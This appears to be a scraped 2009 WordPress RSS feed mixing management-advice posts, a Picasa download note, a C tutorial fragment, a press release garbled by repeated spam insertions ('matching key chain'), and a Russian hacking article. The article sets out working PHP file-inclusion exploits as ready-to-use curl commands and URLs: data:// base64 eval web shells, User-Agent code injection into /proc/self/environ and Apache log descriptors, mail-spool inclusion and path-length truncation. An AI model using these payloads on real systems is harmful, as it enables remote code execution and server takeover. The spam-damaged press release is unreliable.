<p>The HR specialist (or, in smaller firms, the office manager) usually performs the first part of the orientation, by explaining basic matters like working hours and vacations. The person then introduces the new employee to his or her new supervisor. The supervisor continues the orientation by explaining the exact nature of the job, introducing the person to his or her new colleagues, familiarizing the new employee with the workplace, and helping to reduce first day jitters. Orientation typically includes information on employee benefits, personnel policies, the daily routine, company organization and operations, and safety measures and regulation, as well as facilities tour.</p>
<p>My Consultancy–<a title="Asif J. Mir" href="http://www.asifjmir.com/" target="_blank">Asif J. Mir </a>- Management Consultant–transforms organizations where people have the freedom to be creative, a place that brings out the best in everybody–an open, fair place where people have a sense that what they do matters. For details please visit <a title="Asif J. Mir" href="http://www.asifjmir.com/" target="_blank">www.asifjmir.com</a>, <a href="http://www.youtube.com/asifjmir">Lectures</a>, <a title="Line of Sight" href="http://asifjmir.blogspot.com/" target="_blank">Line of Sight</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Writing Business Summaries]]></title>
<link>http://asifjmir.wordpress.com/2009/10/19/writing-business-summaries/</link>
<pubDate>Mon, 19 Oct 2009 09:56:43 +0000</pubDate>
<dc:creator>Asif Mir</dc:creator>
<guid>http://asifjmir.wordpress.com/2009/10/19/writing-business-summaries/</guid>
<description><![CDATA[Businesspeople are bombardedwith masses of information, and at one time or another, everyone in busi]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Businesspeople are bombardedwith masses of information, and at one time or another, everyone in business relies on someone else’s summary of a situation, publication, or document. To write a summary, gather the information (whether by reading, talking with others, or observing circumstances), organize that information, and then present it in your own words. Although many pople assume that summarizing is a simple skill, it’s actually more complex than it appears. A well written summary has at least three characteristics..</p>
<p>First, as in writing any business document, be sure the content is accurate. If you’re summarizing a report or a group of reports, make sure you present the information without error. Check your references, and then check for typos.</p>
<p>Second, make your summary comprehensive and balanced. The purpose of writing your summary is usually to help colleagues or supervisors make a decision, so include all the information necessary for your readers to understand the situation, problem, or proposal. If the issue you’re summarizing has more than one side, present all sides fairly and equitably. Make sure you include all the information necessary. Even though summaries are intended to be as brief as possible, your readers need a minimum amount of information to grasp the issue being presented.</p>
<p>Third, make your sentence structure clear, and include good transitions. The only way your summary will save anyone’s time is if your sentences are uncluttered, use well-chosen words, and proceed logically. Then, to help your readers move from one point to the next, your transitions must be just as clear and logical. Basically, when writing your summary be sure to cut through the clutter. Identify those ideas that belong together, and organize them in a way that’s easy to understand.</p>
<p>My Consultancy–<a title="Asif J. Mir" href="http://www.asifjmir.com/" target="_blank">Asif J. Mir </a>- Management Consultant–transforms organizations where people have the freedom to be creative, a place that brings out the best in everybody–an open, fair place where people have a sense that what they do matters. For details please visit <a title="Asif J. Mir" href="http://www.asifjmir.com/" target="_blank">www.asifjmir.com</a>, <a href="http://www.youtube.com/asifjmir">Lectures</a>, <a title="Line of Sight" href="http://asifjmir.blogspot.com/" target="_blank">Line of Sight</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[UK Aerospace Company Boosts Manufacturing Performance with K3's MFW Software]]></title>
<link>http://keycameraspycamcorder.wordpress.com/2009/10/17/uk-aerospace-company-boosts-manufacturing-performance-with-k3s-mfw-software/</link>
<pubDate>Sat, 17 Oct 2009 15:31:11 +0000</pubDate>
<dc:creator>yayaying2009</dc:creator>
<guid>http://keycameraspycamcorder.wordpress.com/2009/10/17/uk-aerospace-company-boosts-manufacturing-performance-with-k3s-mfw-software/</guid>
<description><![CDATA[Author: Anonymous Source: free-articles /PR Web/ APPH has so far implemented K3 Business, matching k]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Author: Anonymous<br />
Source: free-articles</p>
<p>/PR Web/ APPH has so far implemented K3 Business, <strong>matching <strong>key chain</strong></strong><br />
,  Technology&#8217;s MFW Enterprise Resource Planning software in four of its eight sites in Britain and the US. The software handles the company&#8217;s manufacturing requirements for both make-to-order for original equipment and make-to-stock for aircraft spares. </p>
<p>The company&#8217;s services cover initial concept, design, qualification, manufacture and lifetime programme support. Its products include landing gear systems, flight controls and hydraulic system assemblies for both civil and military aircraft, and filtration equipment. Almost every engine ever built by Rolls-Royce carries APPH filters. The company&#8217;s capabilities also include high precision machining and landing gear, wheel and brake repair and overhaul.  </p>
<p>Cellular manufacturing techniques are used for the assembly and testing of all hydraulic equipment. These include a clean-room environment, <strong>matching <strong>key chain</strong></strong><br />
,  for safety-critical assemblies and those that demand ultra-high precision. Typical batch sizes range from one to 25. The company has a turnover of circa $100 million and employs, <strong>matching <strong>key chain</strong></strong><br />
,  480 staff.</p>
<p>APPH numbers the top aerospace companies in the world amongst its clients,, <strong>matching <strong>key chain</strong></strong><br />
,  and current programmes include flight control and landing gear systems for BAE Systems Hawk trainer, Alenia C27J military transporter, SAAB Gripen military fighter, and hydraulic systems for the Raytheon Hawker 800 business jet. </p>
<p>The company has received a number of awards for its continuous improvement and lean manufacturing initiatives, including BAE Systems award for Supply Chain Excellence, and Investors in People.</p>
<p>In 1989 APPH identified a need for a flexible computer system for its Bolton site. A key requirement was for a package solution rather than bespoke software;, <strong>matching <strong>key chain</strong></strong><br />
,  it also had to be cost effective, user-friendly and be operated without the use of computer specialists.  </p>
<p>&#8220;We chose MFW,&#8221; says APPH Managing Director David Haslam, &#8220;because it met all our selection criteria. From our decision to buy until the final system implementation took six months, although we have almost halved this time with subsequent implementations at our other sites. Timescales have to be very aggressive otherwise you tend to forget the original objectives, key people leave the company and, generally, the impetus is lost.</p>
<p>&#8220;In 1994, we expanded the system to our headquarters site with similar success. As we were eager to embrace the growing benefits of Windows technology we were one of the first companies to adopt the MFW system in 1998. We chose the Bolton site  to lead this programme, which took us four months to implement. We invested heavily in education and training, as we consider it essential that all employees take ownership of the system. I also think active participation in the user group is essential, <strong>matching <strong>key chain</strong></strong><br />
,  for generating feedback and providing a discussion forum for system upgrades.</p>
<p>&#8220;At the Runcorn site we have several Linvar Paternoster automated storage machines for stock picking, which have been interfaced, <strong>matching <strong>key chain</strong></strong><br />
,  to MFW. This has greatly increased the efficiency in part picking, <strong>matching <strong>key chain</strong></strong><br />
,  and stock management.</p>
<p>&#8220;This year we have also implemented MFW at TRAK, our high precision match grinding facility. The system&#8217;s production control module is particularly relevant for the company&#8217;s multiple machining operations. Our Airight Inc. subsidiary in the US is also implementing MFW by the end of 2002.&#8221;</p>
<p>K3 Business Technology&#8217;s MFW is a 32 bit system comprising over 30 modules that grow together to provide a fully integrated ERP system on Windows and Windows NT platforms. APPH sites typically use MFW modules such as sales and purchase, <strong>matching <strong>key chain</strong></strong><br />
,  order processing, inventory, bills of materials, MRP and financials. The system caters for a wide variety of manufacturing environments. APPH, for example, has a complex Bill of Materials: the average landing gear strut has 300 line items and over, <strong>matching <strong>key chain</strong></strong><br />
,  1,000 for the complete landing gear system. </p>
<p>&#8220;The benefits of the system are numerous,&#8221; says Haslam.&#8221;You must work smarter when you implement new computer systems. MFW has helped to reduce manufacturing lead times, handle our material and parts traceability requirements, and has contributed to increasing our sales per employee ratio. The control, <strong>matching <strong>key chain</strong></strong><br />
,  of inventory has been improved, resulting in lower inventory levels and increased turns&#8221; </p>
<p>MFW has an open architecture and APPH uses its inbuilt Crystal report writer for standard management reporting, and the MS Access database for special reports.</p>
<p>The company is standardising its networking systems, and its hardware platforms are all NT. A Group Intranet is used across the company and information can be exchanged between the various sites. It is also linking, <strong>matching <strong>key chain</strong></strong><br />
,  its engineering systems.  APPH&#8217;s design and stress engineers work as an integrated team on each project. A good example of this is the programme for the Saab JAS 39 Gripen Advanced Combat Aircraft,, <strong>matching <strong>key chain</strong></strong><br />
,  where APPH designed, certified and manufactured the entire landing gear system including struts, actuators, the electro hydraulic selector and steering control valve. Electronic data exchange is carried out between the, <strong>matching <strong>key chain</strong></strong><br />
,  Unigraphics and CATIA computer-aided design systems and the Patran and Abacus stress analysis programs. </p>
<p>In addition, the company is using digital document management and retrieval systems to facilitate a paperless environment. &#8220;We are also planning to link our Unigraphics CAD and the IMAN product data management system to, <strong>matching <strong>key chain</strong></strong><br />
,  MFW,&#8221; says Systems Manager Andy Treadwell. &#8220;IMAN is a product lifecycle management system that stores product data and information and handles related changes. The integration between IMAN, <strong>matching <strong>key chain</strong></strong><br />
,  and MFW is planned to be at the Bill of Materials level.&#8221;</p>
<p>David Haslam adds: &#8220;Our vision is to have state-of-the-art, integrated ERP and Engineering systems across the Group, with e-business links to our customers and suppliers on a global basis.&#8221; He sums up the benefits of MFW in one sentence: &#8220;MFW is, <strong>matching <strong>key chain</strong></strong><br />
,, <strong>matching <strong>key chain</strong></strong><br />
,   cost effective, user friendly, and has matched our system functionality expectations.&#8221;</p>
<p>END</p>
<p>NOTES TO EDITORS:</p>
<p>K3 Business Technology, <strong>matching <strong>key chain</strong></strong><br />
,  Group plc is a public company listed on the AIM market of the London Stock Exchange. Formerly known as Kewill ERP, the company  is one of the UK&#8217;s leading authors and suppliers of Supply Chain Management and ERP software for the SME Sector, <strong>matching <strong>key chain</strong></strong><br />
, . Products include IBS,  SmartVision (ERP solutions),  Omicron (financial software) and JobBOSS for small jobshops. </p>
<p>K3&#8217;s clients in the UK include Rolls Royce, Thomson CSF, Lockheed Martin, Raytheon and Thales. With over 1650 current UK customers, the company is the UK&#8217;s market leading supplier of UK-developed Supply Chain Management software, <strong>matching <strong>key chain</strong></strong><br />
,  to the SME  sector.</p>
<p>FOR FURTHER INFORMATION  CONTACT:</p>
<p>Richard Thomas</p>
<p>K3 Business Technology Group plc</p>
<p>Electra House</p>
<p>Electra Way</p>
<p>Crewe</p>
<p>Tel: 01270 211211</p>
<p>E-mail: richard.thomas@k3btg.com</p>
<p>K3  can also be reached on its websites: www.lenamanufacturing.com and www.k3btg.com</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Calculating Market Share]]></title>
<link>http://asifjmir.wordpress.com/2009/10/16/calculating-market-share/</link>
<pubDate>Fri, 16 Oct 2009 04:41:25 +0000</pubDate>
<dc:creator>Asif Mir</dc:creator>
<guid>http://asifjmir.wordpress.com/2009/10/16/calculating-market-share/</guid>
<description><![CDATA[Market share is the ratio of the competitor’s annual sales to the total annual sales of competitive ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Market share is the ratio of the competitor’s annual sales to the total annual sales of competitive products in the market being served by the competitors. It is usually measured by dividing the  competitor’s sales in dollars by the total sales volume in dollars for the industry. Dollars are used in the calculation because monetary value is usually easy to obtain.</p>
<p>As may be seen from the dimensions describing the horizontal axis of the economic experience curve. It would make more sense to measure the market share in units sold during the year. Dollar volume does not double when volume in units shipped doubles if price decreases with experience.</p>
<p>The dimensions of the experience curve are fully allocated unit expense in constant dollars and cumulative number of units produced. The reference to doubling sales is measured in units shipped. Because this kind of measure could be counted off on the horizontal axis of the curve, it is possible to relate the growth in shipments to fully allocated expense in constant dollards, a reasonable profit margin, and the resulting dollar volume of sales.</p>
<p>The difficulty in obtaining the information needed to calculate market shares in terms of units shipped is often resolved by trade association data, which reports in both units and dollars. Still the associations may not include every possible competitor among their membership. In almost all cases, however, the non-members are not big enough to be significant. Even without the non-member data, the trade association information is a good approximation to the actual figures.</p>
<p>Given that sufficient data is available, it is not entirely necessary to know a competitor’s exact market share. The information most meaningful to a manager is market share compared to that of the nearest competitor. This gives rise to the concept of a market share ratio.</p>
<p>A proposed ratio that has special meaning when used in conjunction with the economic experience curve. The ratio may be best understood as:</p>
<p>Market Share Ratio =  <span style="text-decoration:underline;"> Your Market Share __________</span></p>
<p>Market Share of Your Biggest Competitor</p>
<p>The interesting result of defining the ratio this way is that only one competitor has a ratio greater than one. All the others have functional ratios, less than one. For instance, if you the largest market share your biggest competitor will have a smaller share than you, and your ratio will be a number greater than one. If your biggest competitor has a market share larger than yours, your ratio will be less than one.</p>
<p>Because only one competitor has market share ratio greater than unity, the dominant competitor is identified by a number greater than one. Also, the degree of the biggest competitor’s dominance is indicated by the size of the number.</p>
<p>Typically, when a new business concept arises that can be represented by an economic experience curve, several competitors enter the marketplace within a very short span of time. There is an initial market penetratiuon in which market shares are established. Managers have learned how difficult it is to change the market share of the competitors once they have been established. Market shares among suppliers who are competing forcefully tend to remain reasonably constant. Cummulative experience relative to other competitors tends to be aligned with the market share ratios.</p>
<p>My Consultancy–<a title="Asif J. Mir" href="http://www.asifjmir.com/" target="_blank">Asif J. Mir </a>- Management Consultant–transforms organizations where people have the freedom to be creative, a place that brings out the best in everybody–an open, fair place where people have a sense that what they do matters. For details please visit <a title="Asif J. Mir" href="http://www.asifjmir.com/" target="_blank">www.asifjmir.com</a>, <a href="http://www.youtube.com/asifjmir">Lectures</a>, <a title="Line of Sight" href="http://asifjmir.blogspot.com/" target="_blank">Line of Sight</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dynamiczna zmiana treści w PHP]]></title>
<link>http://bloginweb.wordpress.com/2009/10/12/dynamiczna-zmiana-tresci-w-php/</link>
<pubDate>Mon, 12 Oct 2009 11:57:29 +0000</pubDate>
<dc:creator>suchy2805</dc:creator>
<guid>http://bloginweb.wordpress.com/2009/10/12/dynamiczna-zmiana-tresci-w-php/</guid>
<description><![CDATA[Trzeba w końcu napisać jakąś notkę, bo znowu zapomnę i się pojawi miesiąc później . Dzisiaj zajmuję ]]></description>
<content:encoded><![CDATA[Trzeba w końcu napisać jakąś notkę, bo znowu zapomnę i się pojawi miesiąc później . Dzisiaj zajmuję ]]></content:encoded>
</item>
<item>
<title><![CDATA[Picasa 3.5 Build 79.67]]></title>
<link>http://mugamuz.wordpress.com/2009/09/23/picasa-3-5-build-79-67/</link>
<pubDate>Wed, 23 Sep 2009 19:55:57 +0000</pubDate>
<dc:creator>Kevin</dc:creator>
<guid>http://mugamuz.wordpress.com/2009/09/23/picasa-3-5-build-79-67/</guid>
<description><![CDATA[Picasa, developed by Google, is an application that helps you to organise your photos. With Picasa, ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Picasa, developed by Google, is an application that helps you to organise your photos. With Picasa, you can instantly find, edit and share your photos. Upon launching Picasa, it&#8217;ll locate all your pictures automatically and sort them neatly by date.</p>
<p>As i said before, Picasa also helps you to share your photos if you want so. Sharing pictures with Picasa is piece of cake and it even allows to post pictures directly on your own blog. Other features in Picasa include photo printing, gift CD-making and lots more!</p>
<p><strong>Changelog:<br />
</strong>* this version is an English release only.<br />
* Added name tags in the Picasa software.<br />
* Improved geotagging: You can now geotag in Picasa using Google Maps in the &#8216;Places&#8217; tab.<br />
* Improved keyword tagging:<br />
o New &#8216;Tags&#8217; tab for easier tag management.<br />
o New Quick Tag buttons for easy access to commonly used tags.<br />
* Import changes<br />
o Added the ability to upload and share while importing.<br />
o Added the ability to add stars and upload only starred images during the import process.<br />
* Added the ability to modify the date and time on pictures. &#8216;Tools &#62; Adjust date and time.&#8217;<br />
* The Sharpen slider is now more responsive.<br />
* Improved reliability for CD burning</p>
<p>Version: <strong>3.5 Build 79.67</strong><br />
File size:<em> </em><strong>9.24 MB</strong><br />
License:<strong> Freeware<br />
</strong>Operating system: <strong>Windows XP/2003/Vista</strong></p>
<p><a title="Picasa 3.5 Build 79.67" href="http://dl.google.com/picasa/picasa35-setup.exe" target="_blank">Download this!</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Новая веха в теории инклуда: свежие способы раскрутки local и remote file include]]></title>
<link>http://arthurbabark.wordpress.com/2009/09/18/%d0%bd%d0%be%d0%b2%d0%b0%d1%8f-%d0%b2%d0%b5%d1%85%d0%b0-%d0%b2-%d1%82%d0%b5%d0%be%d1%80%d0%b8%d0%b8-%d0%b8%d0%bd%d0%ba%d0%bb%d1%83%d0%b4%d0%b0-%d1%81%d0%b2%d0%b5%d0%b6%d0%b8%d0%b5-%d1%81%d0%bf%d0%be/</link>
<pubDate>Fri, 18 Sep 2009 15:26:32 +0000</pubDate>
<dc:creator>arthurbabark</dc:creator>
<guid>http://arthurbabark.wordpress.com/2009/09/18/%d0%bd%d0%be%d0%b2%d0%b0%d1%8f-%d0%b2%d0%b5%d1%85%d0%b0-%d0%b2-%d1%82%d0%b5%d0%be%d1%80%d0%b8%d0%b8-%d0%b8%d0%bd%d0%ba%d0%bb%d1%83%d0%b4%d0%b0-%d1%81%d0%b2%d0%b5%d0%b6%d0%b8%d0%b5-%d1%81%d0%bf%d0%be/</guid>
<description><![CDATA[Спроси себя: что ты знаешь об удаленном или локальном инклуде? Наверняка, в ответе будут следующие ф]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Спроси себя: что ты знаешь об удаленном или локальном инклуде? Наверняка, в  ответе будут следующие фразы: &#8220;обрезание неугодного расширения с помощью  нулл-байта&#8221;, &#8220;инклуд файлов сессии из /tmp, картинок с шеллом, логов апача&#8230;&#8221;.  Спешу заверить, что это далеко не все способы выжать из инклуда абсолютный  максимум! Сейчас я в подробностях расскажу о недавно опубликованных  интереснейших способах эксплуатации этого распространенного бага.</p>
<h2>Протокол &#8220;Data&#8221;</h2>
<p>Первым делом хочу познакомить тебя с отличным способом обхода множества  хитрых фильтраций при удаленном инклуде. Сей способ заключается в использовании  протокола Data (для понимания протокола желательно изучить RFC 2397, ссылки на  который, как всегда, ищи в сносках).</p>
<p>Итак, представь, что в исследуемом php-скрипте (php&#62;=5.2.0 &#8211; именно с этой  версии включена поддержка data и других протоколов) содержится следующий код:</p>
<p><code>&#60;?php<br />
$dir = $_GET['dir'];</p>
<p>//наш мега-фильтр<br />
$dir = str_replace(array('http://','ftp://','/','.'), '', $dir);</p>
<p>//стандартный файл инклуда для любой директории<br />
$dir .= '/pages/default.php';</p>
<p>//собственно, инклуд<br />
include($dir . '/pages/default.php');</p>
<p>?&#62;</code></p>
<p>Кажется, что в этой ситуации не прокатит никакой удаленный инклуд. Ведь,  кроме того, что режутся стандартные &#8216;http://&#8217;,'ftp://&#8217;, под нож фильтра попадают  еще и точка со слешем!</p>
<p>А теперь посмотри внимательно на следующий эксплойт для нашей RFI и красивого  обхода фильтра, мешающего добросовестному хакеру (как и при любом другом  удаленном инклуде, директива PHP &#8211; allow_url_include, естественно, должна  находиться в положении On):</p>
<p><code>http://localhost/index.php?dir=data:,&#60;?php eval($_REQUEST[cmd]);  ?&#62;&#38;cmd=phpinfo();</code></p>
<p>Этот код вполне успешно покажет тебе вывод функции phpinfo()! Но что делать,  когда фильтрация становится еще более жесткой и принимает примерно следующий  вид?</p>
<p><code>&#60;?php<br />
...<br />
//более навороченный фильтр<br />
$dir = str_replace(array('_',']','[',')','(','$','http://','ftp://','/','.'),  '', $dir);<br />
$dir = htmlspecialchars($dir);<br />
...<br />
?&#62;</code></p>
<p>Ты снова можешь подумать, что здесь невозможно выполнить произвольный php-код  (даже по приведенному выше сценарию), так как фильтром режутся практически все  символы, используемые в нашем evil-коде. Но не тут-то было. Уже полюбившийся  тебе протокол "data" поддерживает такую полезную вещь, как base64 (кстати, если  фильтруются и символы "+", "=", наверняка, ты сможешь подобрать base64-значение  своего шелла без них).</p>
<p><code>http://localhost/index.php?dir=data:;base64,  PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8+&#38;cmd=phpinfo();</code></p>
<p>("+" заменить на url-кодированное "%2b")</p>
<p>Но нельзя останавливаться на одном лишь RFI. Приготовься к самому вкусному.</p>
<h2>Услужливый /proc/self/environ</h2>
<p>Представь, что на определенном сайте (http://site.com) присутствует следующий  php-код:</p>
<p><code>&#60;?php<br />
$page = $_GET['page'];<br />
include('./pages/'.$page);<br />
?&#62;</code></p>
<p>Затем вообрази, что возможности залить файл/картинку с шеллом у нас нет, пути  к логам апача мы не нашли, а в /tmp не сохраняются данные сессий. Соседних  сайтов также нет. Что делать?</p>
<p>Неискушенный в LFI хакер опустил бы руки. Мы не из таких, ибо на помощь  спешит хранилище переменных окружения /proc/self/environ! Итак, когда мы  запрашиваем любую php-страничку на сервере, создается новый процесс. В  *nix-системах каждый процесс имеет свою собственную запись в /proc, а  /proc/self, в свою очередь, – это статический путь и символическая ссылка,  содержащая полезную информацию для последних процессов.</p>
<p>Если мы инжектнем наш evil-код в /proc/self/environ, то сможем запускать  произвольные команды с помощью LFI <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Заманчиво? А теперь, собственно, вопрос:  каким образом можно вставить свое значение с evil-кодом в /proc/self/environ?</p>
<p>Очень просто! Тем же способом, каким ты инжектишь свой код в логи апача,  можно проинжектить код и в /proc/self/environ.</p>
<p>Для примера возьмем наш любимый и легко подменяемый юзерагент. По дефолту  часть /proc/self/environ, показывающая useragent, выглядит примерно так:</p>
<p><code>PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin<br />
SERVER_ADMIN=admin@site.com<br />
...<br />
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4)<br />
Gecko/2008102920 Firefox/3.0.4 HTTP_KEEP_ALIVE=150<br />
...</code></p>
<p>А теперь меняем юзерагент на &#60;?php eval($_GET[cmd]); ?&#62; и обращаемся к нашему  уязвимому скрипту следующим образом:</p>
<p><code>curl  "http://site.com/index.php?page=../../../../../../../../proc/self/environ&#38;cmd=phpinfo();"  -H "User-Agent: &#60;?php eval(\$_GET[cmd]); ?&#62;"</code></p>
<p>Как и следовало ожидать, функция phpinfo() успешно выполнится. При этом часть  /proc/self/environ с юзерагентом будет выглядеть так:</p>
<p><code>PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin<br />
SERVER_ADMIN=admin@site.com<br />
...<br />
&#60;?php eval($_GET[cmd]); ?&#62; HTTP_KEEP_ALIVE=150<br />
...</code></p>
<p>Метод всем хорош, кроме того, что строка юзерагента и evil-код должны быть  внедрены быстро и одновременно (так как твой код в /proc/self/environ легко  сможет изменить любой другой только что запущенный процесс). Поэтому, намотав  вновь полученные знания на ус, переходим к следующему способу.</p>
<h2>Логи, мы вас найдем!</h2>
<p>Снова представь, что у нас есть сайт с локальным инклудом, но проинклудить  ничего не получается. Как узнать местонахождение апачевских access_log и  error_log? По секрету скажу, что знать, где они лежат, вовсе не обязательно! Для  нас постарался все тот же /proc, ведь здесь расположена удобная символическая  ссылка на реальную локацию логов apache.</p>
<p>Использовать ее для инклуда можно несколькими способами:</p>
<p>1. Через id процесса и ярлыки</p>
<p><code>/proc/%{PID}/fd/%{FD_ID}</code></p>
<p>Здесь: %{PID} &#8211; ид процесса (узнать можно, прочитав /proc/self/status),  %{FD_ID} &#8211; ярлыки на соответствующие файлы (обычно 2 и 7 &#8211; логи апача).</p>
<p>Пример:</p>
<p><code>http://site.com/index.php?page=../../../../../../../../proc/self/status</code></p>
<p>Допустим, %{PID} равен 1228, тогда конечный эксплойт будет выглядеть  следующим образом:</p>
<p><code>curl  "http://site.com/index.php?page=../../../../../../../../proc/1228/fd/2&#38;cmd=phpinfo();"  -H "User-Agent: &#60;?php eval(\$_GET[cmd]); ?&#62;"</code></p>
<p>2. Напрямую, без узнавания id процесса</p>
<p><code>curl  "http://site.com/index.php?page=../../../../../../../../proc/self/fd/2&#38;cmd=phpinfo();"  -H "User-Agent: &#60;?php eval(\$_GET[cmd]); ?&#62;"</code></p>
<p>Этот способ более приемлем для тебя, так как &#8220;self&#8221; &#8211; это всегда текущий  процесс, а в первом случае %{PID} имеет дурное свойство очень часто меняться. В  обоих перечисленных способах, как и в любом другом LFI логов апача, эти самые  логи, естественно, должны быть доступны для чтения.</p>
<h2>Полезное мыло</h2>
<p>На этот раз тебе необходимо представить, что на сайте жертвы не работают все  предыдущие способы LFI. Невероятно и страшно! Но такие случаи действительно  бывают, и итальянские хакеры secteam смогли придумать удивительный способ  инклуда через обычный e-mail!</p>
<p>Итак, большинство типичных веб-приложений содержат в себе функцию отправки  мыла в качестве части регистрационной системы, каких-либо подписок и т.д.  Зачастую юзер может изменять содержимое такого письма. В то же время никсы могут  сохранять такое мыло локально.</p>
<p>Сама техника LFI через mail выглядит следующим образом:</p>
<ol>
<li>У атакующего есть профайл в веб-приложении на уязвимом сервере.</li>
<li>Атакующий изменяет какую-либо часть профайла (например, about), которая    должна прийти в письме в качестве подтверждения смены информации, на свой    evil-php код, подготовленный для локального инклуда.</li>
<li>Атакующий изменяет свой e-mail на www-data@localhost (www-data &#8211; юзер, под    которым запущен httpd; им могут быть такие значения, как &#8220;apache&#8221;, &#8220;wwwrun&#8221;,    &#8220;nobody&#8221;, &#8220;wwwdata&#8221; и т.д.).</li>
</ol>
<p>В итоге, отправленное мыло будет лежать в /var/mail (либо в /var/spool/mail)  и иметь название юзера httpd.</p>
<p>Вот эксплойт для этого способа:</p>
<p><code>curl  "http://site.com/index.php?page=../../../../../../../../var/mail/www-data&#38;cmd=phpinfo();"</code></p>
<p>Также, стоит отметить, что mail-файл будет доступен только тому юзеру, кому и  предназначено письмо (то есть, апач должен быть обязательно запущен под тем же  пользователем).</p>
<h2>Null-байт отдыхает</h2>
<p>Снова включи воображение и представь, что все вышеописанные способы отлично  работают, но уязвимое приложение содержит на этот раз следующий код:</p>
<p><code>&#60;?php<br />
$page = $_GET['page'];</p>
<p>//защита от "ядовитого нуля"<br />
if (!get_magic_quotes_gpc())<br />
$page = addslashes($page);</p>
<p>include('./pages/'.$page.'.php');<br />
?&#62;</code></p>
<p>Как быть? Можно проинклудить логи, но в конце дописывается не обрезаемое  обычным %00 расширение &#8220;.php&#8221;.</p>
<p>На этот раз тебе поможет фича (или все-таки уязвимость?) самого php,  обнаруженная юзером популярного забугорного хакерского форума sla.ckers.org со  странным ником barbarianbob.</p>
<p>Фича заключается в том, что интерпретатор php во время обработки пути до  какого-либо файла или папки обрезает лишние символы &#8220;/&#8221; и &#8220;/.&#8221;, а также, в  зависимости от платформы, использует определенное ограничение на длину этого  самого пути (ограничение хранится в константе MAXPATHLEN). В результате, все  символы, находящиеся за пределами этого значения, отбрасываются.</p>
<p>Теперь давай подробней рассмотрим этот вектор LFI, обратившись к уязвимому  скрипту следующим образом:</p>
<p><code>curl  "http://site.com/index.php?page=../../../../../../../../proc/self/environ///////////[4096  слешей]////////&#38;cmd=phpinfo();" -H "User-Agent: &#60;?php eval(\$_GET[cmd]); ?&#62;"</code></p>
<p>Наш любимый phpinfo(); выполнится успешно из-за нескольких причин.</p>
<p>1. Инклуд в самом скрипте примет следующий вид:</p>
<p><code>&#60;?php<br />
...<br />
include('./pages/../../../../../../../../proc/self/environ//////////[4096  слешей]////.php');<br />
...<br />
?&#62;</code></p>
<p>2. Так как наш путь получится гораздо длиннее, чем MAXPATHLEN (кстати,  необязательно он будет равен именно 4096; в винде, например, он может быть равен  всего лишь 200 символам с хвостиком, – советую на каждой системе тестить это  значение отдельно), то символы, находящиеся в конце пути (в данном случае &#8211;  некоторое количество слешей и &#8220;.php&#8221;), интерпретатор php, не спрашивая ни у кого  разрешения, успешно отсечет.</p>
<p>3. После пункта &#8220;2&#8243; наш код примет примерно такой вид:</p>
<p><code>&#60;?php<br />
...<br />
include('./pages/../../../../../../../../proc/self/environ/////////////[куча  слешей]');<br />
...<br />
?&#62;</code></p>
<p>Как тебе уже известно, лишние слеши в конце пути услужливый php также  обрежет, и наш злонамеренный код, в конце концов, превратится во вполне рабочий  LFI!</p>
<p><code>&#60;?php<br />
...<br />
include('./pages/../../../../../../../../proc/self/environ');<br />
...<br />
?&#62;</code></p>
<p>Для теста количества слешей для использования в данной уязвимости на своем  сервере советую попробовать следующий php-скрипт.</p>
<p><code>&#60;?php<br />
//какой файл нужно проинклудить<br />
$file_for_include = 'work.txt';<br />
for($i=1;$i&#60;=4096;$i++)<br />
{<br />
$its_work =  file_get_contents('http://localhost/test/'.$file_for_include.str_repeat('/',$i).'.php');<br />
if($its_work=='1')<br />
{<br />
print 'Использовано слешей: '.$i;<br />
break;<br />
}<br />
}<br />
?&#62;</code></p>
<p>Рядом со скриптом просто положи файл work.txt с записанной в нем единичкой.</p>
<p>Если инклуд произошел успешно, скрипт выведет тебе количество слешей,  использованных для этого самого инклуда.</p>
<p>Для полноты понимания технических сторон данного бага советую очень  внимательно изучить соответствующие ссылки в сносках.</p>
<h2>И напоследок&#8230;</h2>
<p>Как видишь, прогресс в ресерчинге уязвимостей не стоит на месте. Новые баги  находятся уже не в php-скриптах, а в самом интерпретаторе php! То, что раньше,  казалось, взломать невозможно, сейчас представляется не более чем детской  шалостью и развлечением для матерого хакера.</p>
<p>Null-байт уже практически канул в лету, инклуд логов апача обрастает новыми  изощренными методами, RFI становится доступным через протоколы, отличные от ftp  и http&#8230; Что дальше? Поживем &#8211; увидим. Естественно, в наших рубриках <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Foundations of Programming with C: Lesson 1]]></title>
<link>http://aotutorial.wordpress.com/2009/09/12/foundations-of-programming-with-c-lesson-1/</link>
<pubDate>Sun, 13 Sep 2009 00:53:28 +0000</pubDate>
<dc:creator>alphaorganic</dc:creator>
<guid>http://aotutorial.wordpress.com/2009/09/12/foundations-of-programming-with-c-lesson-1/</guid>
<description><![CDATA[Welcome to programming with C.  This tutorial is the first of many to come in C programming and is i]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Welcome to programming with C.  This tutorial is the first of many to come in C programming and is important to learn for the foundations of other programming languages, mostly for the syntax and logic of programming with computer languages.</p>
<p>Before we begin lets talk about what tools we will need a compiler.  You can Google c compiler to find any but I recommend <a href="http://www.codegear.com/downloads/free/cppbuilder" target="_blank">Borland C++</a> compiler.  Be sure to read the instructions on how to use this program as I will not be referring to any specific program how how to compile and execute.</p>
<p>Lets begin.</p>
<h3>Lesson 1: First C Program</h3>
<p>Usually when using a compiler program and opening a new C file you will be given:<br />
<code><br />
